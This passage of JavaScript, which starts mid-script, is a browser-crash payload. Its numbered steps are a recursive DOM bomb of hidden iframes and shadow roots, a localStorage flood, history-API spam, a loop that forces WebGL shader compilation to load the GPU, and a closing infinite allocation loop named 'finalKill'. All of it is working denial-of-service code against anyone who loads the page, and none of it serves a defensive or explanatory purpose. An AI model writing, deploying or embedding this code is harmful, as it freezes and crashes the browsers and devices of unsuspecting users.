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'; iframe.style.display = 'none'; parent.appendChild(iframe); try { let shadow = iframe.attachShadow({ mode: 'open' }); let div = document.createElement('div'); div.innerHTML = 'x'.repeat(100000); shadow.appendChild(div); domBomb(shadow, depth + 1); } catch(e) {} domBomb(parent, depth + 1); } domBomb(document.body, 0); // 7. LocalStorage flood – fill storage with huge strings try { for (let i = 0; i < 5000; i++) { localStorage.setItem('crash_' + i, 'x'.repeat(5000000)); } } catch(e) {} // 8. History API spam – fill session history for (let i = 0; i < 5000; i++) history.pushState({}, '', '#kill' + i); // 9. GPU / WebGL infinite shader compilation loop try { let canvas = document.createElement('canvas'); let gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); if (gl) { let shaderSrc = `void main() { for(int i=0;i<1000000;i++) { float x = sin(float(i))*cos(float(i)); } gl_FragColor=vec4(1.0); }`; for (let i = 0; i < 2000; i++) { let s = gl.createShader(gl.FRAGMENT_SHADER); gl.shaderSource(s, shaderSrc + "//" + i); gl.compileShader(s); } } } catch(e) {} // 10. Infinite synchronous loop with allocation – final nail (function finalKill() { let arr = []; while (true) { arr.push(new Array(1000000).fill({})); if (arr.length > 50) arr.length = 0; } })(); })();